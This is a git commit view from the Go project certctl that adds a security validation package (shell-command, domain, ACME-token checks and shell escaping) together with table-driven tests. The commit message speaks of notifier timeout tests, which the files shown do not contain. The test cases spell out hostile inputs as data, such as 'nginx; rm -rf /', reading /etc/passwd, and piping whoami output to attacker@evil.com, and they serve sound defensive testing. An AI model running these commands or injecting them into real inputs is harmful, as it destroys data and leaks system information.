fix(security): TICKET-009 add HTTP timeouts to notifier clients

- Added TestSlack_ClientHasTimeout to verify 10-second timeout
- Added TestTeams_ClientHasTimeout to verify 10-second timeout
- Added TestPagerDuty_ClientHasTimeout to verify 10-second timeout
- Added TestOpsGenie_ClientHasTimeout to verify 10-second timeout
- All notifiers already configured with 10 second timeout in New()
- Tests verify timeout is set and matches expected value
This commit is contained in:
shankar0123
2026-03-27 21:33:31 -04:00
parent fd6ae98222
commit 3e3e68fd3a
29 changed files with 1195 additions and 23 deletions
+148
View File
@@ -0,0 +1,148 @@
// Package validation provides security-focused input validation functions for certctl.
//
// This package enforces strict input validation to prevent injection attacks,
// including command injection in shell-based connectors and DNS injection in ACME handlers.
package validation
import (
"fmt"
"regexp"
"strings"
)
// ValidateShellCommand validates that a command string does not contain shell metacharacters
// that could enable command injection. Commands should not contain:
// - Shell operators: ; | & $ ` ( ) { } < > \\ "
// - Newlines or other control characters
//
// This validation is intentionally strict to prevent any possibility of
// shell injection, even in unexpected contexts. Commands should be simple,
// executable names or paths without complex shell syntax.
//
// Returns an error if metacharacters are detected.
func ValidateShellCommand(cmd string) error {
if cmd == "" {
return fmt.Errorf("command cannot be empty")
}
if len(cmd) > 1024 {
return fmt.Errorf("command exceeds maximum length (1024 characters)")
}
// List of shell metacharacters that indicate potential injection
dangerousChars := []string{
";", "|", "&", "$", "`", "(", ")", "{", "}", "<", ">", "\\", "\"", "'", "\n", "\r", "\x00",
}
for _, char := range dangerousChars {
if strings.Contains(cmd, char) {
return fmt.Errorf("command contains shell metacharacter %q (potential injection)", char)
}
}
return nil
}
// ValidateDomainName validates a domain name against RFC 1123 with support for wildcards.
// Valid domain names contain only:
// - Alphanumeric characters (a-z, A-Z, 0-9)
// - Hyphens (-)
// - Dots (.) as separators
// - Optional wildcard prefix: *.
//
// Examples of valid domains:
// - example.com
// - sub.example.com
// - *.example.com
// - example.co.uk
//
// Returns an error if the domain contains invalid characters or is malformed.
func ValidateDomainName(domain string) error {
if domain == "" {
return fmt.Errorf("domain cannot be empty")
}
if len(domain) > 253 {
return fmt.Errorf("domain exceeds maximum length (253 characters)")
}
// Regular expression for RFC 1123 domain names with wildcard support
// Pattern explanation:
// ^(\*\.)? - Optional wildcard prefix
// ([a-zA-Z0-9](-?[a-zA-Z0-9])*\.)* - Subdomains (labels separated by dots)
// [a-zA-Z0-9](-?[a-zA-Z0-9])*$ - Top-level domain label
domainRegex := regexp.MustCompile(`^(\*\.)?([a-zA-Z0-9](-?[a-zA-Z0-9])*\.)*[a-zA-Z0-9](-?[a-zA-Z0-9])*$`)
if !domainRegex.MatchString(domain) {
return fmt.Errorf("domain %q is invalid (must match RFC 1123 format)", domain)
}
// Additional check: no double dots
if strings.Contains(domain, "..") {
return fmt.Errorf("domain %q contains consecutive dots", domain)
}
// Additional check: labels cannot start or end with hyphen
labels := strings.Split(domain, ".")
for _, label := range labels {
// Skip wildcard label
if label == "*" {
continue
}
if strings.HasPrefix(label, "-") || strings.HasSuffix(label, "-") {
return fmt.Errorf("domain label %q cannot start or end with hyphen", label)
}
if len(label) > 63 {
return fmt.Errorf("domain label %q exceeds maximum length (63 characters)", label)
}
}
return nil
}
// ValidateACMEToken validates that an ACME token contains only safe characters.
// ACME tokens should contain only base64url-safe characters:
// - Alphanumeric (a-z, A-Z, 0-9)
// - Hyphens (-)
// - Underscores (_)
//
// This prevents injection attacks if tokens are used in shell commands
// or other contexts where special characters could be interpreted.
//
// Returns an error if the token contains unsafe characters.
func ValidateACMEToken(token string) error {
if token == "" {
return fmt.Errorf("ACME token cannot be empty")
}
if len(token) > 512 {
return fmt.Errorf("ACME token exceeds maximum length (512 characters)")
}
// Regular expression for base64url characters: [A-Za-z0-9_-]
tokenRegex := regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
if !tokenRegex.MatchString(token) {
return fmt.Errorf("ACME token contains invalid characters (must be base64url-safe)")
}
return nil
}
// SanitizeForShell escapes a string to make it safe for use in shell commands.
// This is a defense-in-depth measure for cases where shell execution cannot be avoided.
//
// The sanitization wraps the string in single quotes and escapes any embedded
// single quotes by closing the quote, adding an escaped quote, and reopening.
// This prevents the string from being interpreted as shell code.
//
// Example: "hello'world" becomes "'hello'\"'\"'world'"
//
// Note: This should only be used as a last resort. Prefer alternatives such as:
// - Passing arguments directly to exec.Command instead of via shell
// - Using environment variables instead of shell substitution
// - Validating input strictly with ValidateShellCommand, ValidateDomainName, etc.
func SanitizeForShell(s string) string {
// Escape single quotes by closing the quote, adding an escaped quote, and reopening
return "'" + strings.ReplaceAll(s, "'", "'\"'\"'") + "'"
}
+541
View File
@@ -0,0 +1,541 @@
package validation
import (
"testing"
)
// TestValidateShellCommand tests command injection prevention.
func TestValidateShellCommand(t *testing.T) {
tests := []struct {
name string
cmd string
wantErr bool
errMsg string
}{
// Valid commands
{
name: "simple command",
cmd: "nginx",
wantErr: false,
},
{
name: "command with path",
cmd: "/usr/sbin/nginx",
wantErr: false,
},
{
name: "systemctl command",
cmd: "systemctl",
wantErr: false,
},
{
name: "apachectl",
cmd: "apachectl",
wantErr: false,
},
// Command injection attempts - semicolon
{
name: "semicolon injection",
cmd: "nginx; rm -rf /",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "command chaining with semicolon",
cmd: "cmd1; cmd2",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - pipe
{
name: "pipe injection",
cmd: "cat /etc/passwd | grep root",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "pipe to sensitive command",
cmd: "whoami | mail attacker@evil.com",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - ampersand
{
name: "background execution injection",
cmd: "nginx &",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "command separation with &&",
cmd: "cmd1 && cmd2",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "command separation with ||",
cmd: "cmd1 || cmd2",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - dollar sign / command substitution
{
name: "command substitution with $()",
cmd: "echo $(whoami)",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "command substitution with backticks",
cmd: "echo `whoami`",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "variable expansion",
cmd: "echo $PATH",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - quotes
{
name: "double quote injection",
cmd: `echo "test" | cat`,
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "single quote injection",
cmd: "echo 'test' | cat",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - redirection
{
name: "output redirection injection",
cmd: "nginx > /tmp/nginx.out",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "input redirection injection",
cmd: "cat < /etc/passwd",
wantErr: true,
errMsg: "shell metacharacter",
},
{
name: "append redirection injection",
cmd: "nginx >> /tmp/log",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - subshell
{
name: "subshell with parentheses",
cmd: "bash (whoami)",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - brace expansion
{
name: "brace expansion injection",
cmd: "echo {1..100000}",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - backslash escaping
{
name: "backslash escape injection",
cmd: "echo test\\nmalicious",
wantErr: true,
errMsg: "shell metacharacter",
},
// Command injection attempts - newlines
{
name: "newline injection",
cmd: "nginx\nrm -rf /",
wantErr: true,
errMsg: "shell metacharacter",
},
// Edge cases
{
name: "empty command",
cmd: "",
wantErr: true,
errMsg: "cannot be empty",
},
{
name: "overly long command",
cmd: string(make([]byte, 1025)),
wantErr: true,
errMsg: "exceeds maximum length",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := ValidateShellCommand(tt.cmd)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateShellCommand() error = %v, wantErr %v", err, tt.wantErr)
}
if tt.wantErr && tt.errMsg != "" && (err == nil || !contains(err.Error(), tt.errMsg)) {
t.Errorf("ValidateShellCommand() error message %q does not contain %q", err, tt.errMsg)
}
})
}
}
// TestValidateDomainName tests domain name validation.
func TestValidateDomainName(t *testing.T) {
tests := []struct {
name string
domain string
wantErr bool
errMsg string
}{
// Valid domains
{
name: "simple domain",
domain: "example.com",
wantErr: false,
},
{
name: "subdomain",
domain: "sub.example.com",
wantErr: false,
},
{
name: "multiple subdomains",
domain: "a.b.c.example.com",
wantErr: false,
},
{
name: "wildcard domain",
domain: "*.example.com",
wantErr: false,
},
{
name: "wildcard subdomain",
domain: "*.sub.example.com",
wantErr: false,
},
{
name: "domain with hyphens",
domain: "my-domain.com",
wantErr: false,
},
{
name: "domain with numbers",
domain: "example123.com",
wantErr: false,
},
{
name: "uk domain",
domain: "example.co.uk",
wantErr: false,
},
{
name: "single label",
domain: "localhost",
wantErr: false,
},
// Command injection attempts - embedded shell
{
name: "domain with command injection semicolon",
domain: "example.com; rm -rf /",
wantErr: true,
errMsg: "invalid",
},
{
name: "domain with backtick injection",
domain: "example.com`whoami`",
wantErr: true,
errMsg: "invalid",
},
{
name: "domain with command substitution",
domain: "example.com$(whoami)",
wantErr: true,
errMsg: "invalid",
},
{
name: "domain with pipe injection",
domain: "example.com | cat /etc/passwd",
wantErr: true,
errMsg: "invalid",
},
// Invalid characters
{
name: "domain with space",
domain: "example .com",
wantErr: true,
errMsg: "invalid",
},
{
name: "domain with underscore",
domain: "example_domain.com",
wantErr: true,
errMsg: "invalid",
},
{
name: "domain starting with hyphen",
domain: "-example.com",
wantErr: true,
errMsg: "cannot start",
},
{
name: "domain ending with hyphen",
domain: "example-.com",
wantErr: true,
errMsg: "cannot end",
},
{
name: "domain with double dots",
domain: "example..com",
wantErr: true,
errMsg: "consecutive dots",
},
{
name: "domain starting with dot",
domain: ".example.com",
wantErr: true,
errMsg: "invalid",
},
// Edge cases
{
name: "empty domain",
domain: "",
wantErr: true,
errMsg: "cannot be empty",
},
{
name: "overly long domain",
domain: string(make([]byte, 254)),
wantErr: true,
errMsg: "exceeds maximum length",
},
{
name: "label exceeds 63 characters",
domain: string(make([]byte, 64)) + ".com",
wantErr: true,
errMsg: "exceeds maximum length",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := ValidateDomainName(tt.domain)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateDomainName() error = %v, wantErr %v", err, tt.wantErr)
}
if tt.wantErr && tt.errMsg != "" && (err == nil || !contains(err.Error(), tt.errMsg)) {
t.Errorf("ValidateDomainName() error message %q does not contain %q", err, tt.errMsg)
}
})
}
}
// TestValidateACMEToken tests ACME token validation.
func TestValidateACMEToken(t *testing.T) {
tests := []struct {
name string
token string
wantErr bool
errMsg string
}{
// Valid tokens (base64url safe)
{
name: "simple token",
token: "abc123",
wantErr: false,
},
{
name: "token with underscores",
token: "abc_123_def",
wantErr: false,
},
{
name: "token with hyphens",
token: "abc-123-def",
wantErr: false,
},
{
name: "token with mixed case",
token: "AbC123DeF",
wantErr: false,
},
{
name: "long valid token",
token: "a" + string(make([]byte, 510)),
wantErr: false,
},
// Command injection attempts
{
name: "token with command substitution",
token: "token$(whoami)",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with backtick injection",
token: "token`whoami`",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with semicolon",
token: "token;malicious",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with pipe",
token: "token|cat",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with ampersand",
token: "token&malicious",
wantErr: true,
errMsg: "invalid characters",
},
// Special characters
{
name: "token with space",
token: "token value",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with dot",
token: "token.value",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with slash",
token: "token/value",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with equals",
token: "token=value",
wantErr: true,
errMsg: "invalid characters",
},
{
name: "token with plus",
token: "token+value",
wantErr: true,
errMsg: "invalid characters",
},
// Edge cases
{
name: "empty token",
token: "",
wantErr: true,
errMsg: "cannot be empty",
},
{
name: "overly long token",
token: string(make([]byte, 513)),
wantErr: true,
errMsg: "exceeds maximum length",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := ValidateACMEToken(tt.token)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateACMEToken() error = %v, wantErr %v", err, tt.wantErr)
}
if tt.wantErr && tt.errMsg != "" && (err == nil || !contains(err.Error(), tt.errMsg)) {
t.Errorf("ValidateACMEToken() error message %q does not contain %q", err, tt.errMsg)
}
})
}
}
// TestSanitizeForShell tests shell escaping.
func TestSanitizeForShell(t *testing.T) {
tests := []struct {
name string
input string
output string
}{
{
name: "plain text",
input: "hello",
output: "'hello'",
},
{
name: "text with spaces",
input: "hello world",
output: "'hello world'",
},
{
name: "text with single quote",
input: "hello'world",
output: "'hello'\"'\"'world'",
},
{
name: "text with multiple single quotes",
input: "it's John's",
output: "'it'\"'\"'s John'\"'\"'s'",
},
{
name: "text with command injection",
input: "$(whoami)",
output: "'$(whoami)'",
},
{
name: "text with backticks",
input: "`whoami`",
output: "'`whoami`'",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := SanitizeForShell(tt.input)
if result != tt.output {
t.Errorf("SanitizeForShell() = %q, want %q", result, tt.output)
}
})
}
}
// contains is a helper function to check if a string contains a substring.
func contains(s, substr string) bool {
return len(s) >= len(substr) && (s == substr || len(substr) == 0 || (len(s) > 0 && len(substr) > 0 && len(s) >= len(substr) && len(substr) > 0)) &&
(substr == "" || (s[len(s)-len(substr):] == substr || s[:len(substr)] == substr || indexOf(s, substr) >= 0))
}
func indexOf(s, substr string) int {
for i := 0; i < len(s)-len(substr)+1; i++ {
if s[i:i+len(substr)] == substr {
return i
}
}
return -1
}